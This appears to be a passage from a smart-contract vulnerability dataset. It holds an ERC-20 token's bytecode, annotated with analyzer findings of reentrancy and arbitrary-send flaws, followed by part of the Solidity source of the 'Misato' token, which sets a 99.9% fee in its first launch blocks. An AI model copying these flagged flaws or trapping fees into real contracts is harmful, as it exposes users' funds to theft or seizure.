881612239565b50565b610c43611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc7906133f8565b60405180910390fd5b600f60149054906101000a900460ff1615610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790613478565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190612d85565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec89190612d85565b6040518363ffffffff1660e01b8152600401610ee5929190613248565b602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f379190612d85565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc030610849565b600080610fcb6109ed565b426040518863ffffffff1660e01b8152600401610fed9695949392919061329a565b6060604051808303818588803b15801561100657600080fd5b505af115801561101a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103f9190612f31565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506729a2241af62c0000601081905550436011819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611148929190613271565b602060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190612edf565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60115481565b611202611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611286906133f8565b60405180910390fd5b600081116112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c9906133b8565b60405180910390fd5b61130160646112f383683635c9adc5dea0000061253390919063ffffffff16565b6125ae90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161133891906134b8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90613458565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90613378565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e691906134b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90613438565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90613338565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d90613418565b60405180910390fd5b61171e6109ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178c575061175c6109ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8357600f60179054906101000a900460ff16156119bf573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118685750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118c25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119be57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611908611420565b73ffffffffffffffffffffffffffffffffffffffff16148061197e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611966611420565b73ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490613498565b60405180910390fd5b5b5b6010548111156119ce57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a725750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ac85750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ad157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b7c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bea5750600f60179054906101000a900460ff165b15611c8b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c3a57600080fd5b601e42611c4791906135ee565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002601154611c9a91906135ee565b4311158015611caa575060105481145b15611ec957600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d5b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dbd576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ec8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e695750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ec7576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ed430610849565b9050600f60159054906101000a900460ff16158015611f415750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f595750600f60169054906101000a900460ff165b15611f8157611f6781612239565b60004790506000811115611f7f57611f7e476120aa565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061202a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561203457600090505b612040848484846125f8565b50505050565b600083831115829061208e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120859190613316565b60405180910390fd5b506000838561209d91906136cf565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210d600a6120ff60048661253390919063ffffffff16565b6125ae90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612138573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61219c600a61218e60068661253390919063ffffffff16565b6125ae90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121c7573d6000803e3d6000fd5b5050565b6000600654821115612212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220990613358565b60405180910390fd5b600061221c612625565b905061223181846125ae90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612297577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122c55781602001602082028036833780820191505090505b5090503081600081518110612303577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123a557600080fd5b505afa1580156123b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123dd9190612d85565b81600181518110612417577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061247e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124e29594939291906134d3565b600060405180830381600087803b1580156124fc57600080fd5b505af1158015612510573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561254657600090506125a8565b600082846125549190613675565b90508284826125639190613644565b146125a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259a906133d8565b60405180910390fd5b809150505b92915050565b60006125f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612650565b905092915050565b80612606576126056126b3565b5b6126118484846126e4565b8061261f5761261e6128af565b5b50505050565b60008060006126326128c1565b9150915061264981836125ae90919063ffffffff16565b9250505090565b60008083118290612697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268e9190613316565b60405180910390fd5b50600083856126a69190613644565b9050809150509392505050565b60006008541480156126c757506000600954145b156126d1576126e2565b600060088190555060006009819055505b565b6000806000806000806126f687612923565b95509550955095509550955061275486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283581612a32565b61283f8483612aef565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161289c91906134b8565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506128f7683635c9adc5dea000006006546125ae90919063ffffffff16565b82101561291657600654683635c9adc5dea0000093509350505061291f565b81819350935050505b9091565b600080600080600080600080600061293f8a600854600a612b29565b925092509250600061294f612625565b905060008060006129628e878787612bbf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129cc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612046565b905092915050565b60008082846129e391906135ee565b905083811015612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1f90613398565b60405180910390fd5b8091505092915050565b6000612a3c612625565b90506000612a53828461253390919063ffffffff16565b9050612aa781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b048260065461298a90919063ffffffff16565b600681905550612b1f816007546129d490919063ffffffff16565b6007819055505050565b600080600080612b556064612b47888a61253390919063ffffffff16565b6125ae90919063ffffffff16565b90506000612b7f6064612b71888b61253390919063ffffffff16565b6125ae90919063ffffffff16565b90506000612ba882612b9a858c61298a90919063ffffffff16565b61298a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd8858961253390919063ffffffff16565b90506000612bef868961253390919063ffffffff16565b90506000612c06878961253390919063ffffffff16565b90506000612c2f82612c21858761298a90919063ffffffff16565b61298a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c5b612c568461356d565b613548565b90508083825260208201905082856020860282011115612c7a57600080fd5b60005b85811015612caa5781612c908882612cb4565b845260208401935060208301925050600181019050612c7d565b5050509392505050565b600081359050612cc381613bab565b92915050565b600081519050612cd881613bab565b92915050565b600082601f830112612cef57600080fd5b8135612cff848260208601612c48565b91505092915050565b600081359050612d1781613bc2565b92915050565b600081519050612d2c81613bc2565b92915050565b600081359050612d4181613bd9565b92915050565b600081519050612d5681613bd9565b92915050565b600060208284031215612d6e57600080fd5b6000612d7c84828501612cb4565b91505092915050565b600060208284031215612d9757600080fd5b6000612da584828501612cc9565b91505092915050565b60008060408385031215612dc157600080fd5b6000612dcf85828601612cb4565b9250506020612de085828601612cb4565b9150509250929050565b600080600060608486031215612dff57600080fd5b6000612e0d86828701612cb4565b9350506020612e1e86828701612cb4565b9250506040612e2f86828701612d32565b9150509250925092565b60008060408385031215612e4c57600080fd5b6000612e5a85828601612cb4565b9250506020612e6b85828601612d32565b9150509250929050565b600060208284031215612e8757600080fd5b600082013567ffffffffffffffff811115612ea157600080fd5b612ead84828501612cde565b91505092915050565b600060208284031215612ec857600080fd5b6000612ed684828501612d08565b91505092915050565b600060208284031215612ef157600080fd5b6000612eff84828501612d1d565b91505092915050565b600060208284031215612f1a57600080fd5b6000612f2884828501612d32565b91505092915050565b600080600060608486031215612f4657600080fd5b6000612f5486828701612d47565b9350506020612f6586828701612d47565b9250506040612f7686828701612d47565b9150509250925092565b6000612f8c8383612f98565b60208301905092915050565b612fa181613703565b82525050565b612fb081613703565b82525050565b6000612fc1826135a9565b612fcb81856135cc565b9350612fd683613599565b8060005b83811015613007578151612fee8882612f80565b9750612ff9836135bf565b925050600181019050612fda565b5085935050505092915050565b61301d81613715565b82525050565b61302c81613758565b82525050565b600061303d826135b4565b61304781856135dd565b935061305781856020860161376a565b613060816138a4565b840191505092915050565b60006130786023836135dd565b9150613083826138b5565b604082019050919050565b600061309b602a836135dd565b91506130a682613904565b604082019050919050565b60006130be6022836135dd565b91506130c982613953565b604082019050919050565b60006130e1601b836135dd565b91506130ec826139a2565b602082019050919050565b6000613104601d836135dd565b915061310f826139cb565b602082019050919050565b60006131276021836135dd565b9150613132826139f4565b604082019050919050565b600061314a6020836135dd565b915061315582613a43565b602082019050919050565b600061316d6029836135dd565b915061317882613a6c565b604082019050919050565b60006131906025836135dd565b915061319b82613abb565b604082019050919050565b60006131b36024836135dd565b91506131be82613b0a565b604082019050919050565b60006131d66017836135dd565b91506131e182613b59565b602082019050919050565b60006131f96011836135dd565b915061320482613b82565b602082019050919050565b61321881613741565b82525050565b6132278161374b565b82525050565b60006020820190506132426000830184612fa7565b92915050565b600060408201905061325d6000830185612fa7565b61326a6020830184612fa7565b9392505050565b60006040820190506132866000830185612fa7565b613293602083018461320f565b9392505050565b600060c0820190506132af6000830189612fa7565b6132bc602083018861320f565b6132c96040830187613023565b6132d66060830186613023565b6132e36080830185612fa7565b6132f060a083018461320f565b979650505050505050565b60006020820190506133106000830184613014565b92915050565b600060208201905081810360008301526133308184613032565b905092915050565b600060208201905081810360008301526133518161306b565b9050919050565b600060208201905081810360008301526133718161308e565b9050919050565b60006020820190508181036000830152613391816130b1565b9050919050565b600060208201905081810360008301526133b1816130d4565b9050919050565b600060208201905081810360008301526133d1816130f7565b9050919050565b600060208201905081810360008301526133f18161311a565b9050919050565b600060208201905081810360008301526134118161313d565b9050919050565b6000602082019050818103600083015261343181613160565b9050919050565b6000602082019050818103600083015261345181613183565b9050919050565b60006020820190508181036000830152613471816131a6565b9050919050565b60006020820190508181036000830152613491816131c9565b9050919050565b600060208201905081810360008301526134b1816131ec565b9050919050565b60006020820190506134cd600083018461320f565b92915050565b600060a0820190506134e8600083018861320f565b6134f56020830187613023565b81810360408301526135078186612fb6565b90506135166060830185612fa7565b613523608083018461320f565b9695505050505050565b6000602082019050613542600083018461321e565b92915050565b6000613552613563565b905061355e828261379d565b919050565b6000604051905090565b600067ffffffffffffffff82111561358857613587613875565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135f982613741565b915061360483613741565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561363957613638613817565b5b828201905092915050565b600061364f82613741565b915061365a83613741565b92508261366a57613669613846565b5b828204905092915050565b600061368082613741565b915061368b83613741565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136c4576136c3613817565b5b828202905092915050565b60006136da82613741565b91506136e583613741565b9250828210156136f8576136f7613817565b5b828203905092915050565b600061370e82613721565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061376382613741565b9050919050565b60005b8381101561378857808201518184015260208101905061376d565b83811115613797576000848401525b50505050565b6137a6826138a4565b810181811067ffffffffffffffff821117156137c5576137c4613875565b5b80604052505050565b60006137d982613741565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561380c5761380b613817565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613bb481613703565b8114613bbf57600080fd5b50565b613bcb81613715565b8114613bd657600080fd5b50565b613be281613741565b8114613bed57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dee884156c4830e129fe953b72fa4c3f9961778aeab05a9eafb220a2acbee39f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,126 |
0xa12a994b1573782f5b3aa20f84f61c571496ba0e | pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MisatoERC is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'Misato';
string constant _symbol = 'MSTO';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 100;
uint256 _maxWalletAmount = _totalSupply / 50;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 20;
uint256 marketingFee = 80;
uint256 totalFee = 100;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000; // 0.1%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = msg.sender;
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(shouldSwapBack()){ swapBack(); }
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchMode() && recipient != pair && !isTxLimitExempt[recipient]){
require (_balances[recipient] + amount <= _maxWalletAmount);
require (amount <= _maxTxAmount);
require (_holderLastTransferTimestamp[recipient] + 30 <= block.timestamp);}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function getTotalFee() public view returns (uint256) {
if(launchedAt + 2 >= block.number){ return feeDenominator.sub(1); }
return totalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee()).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
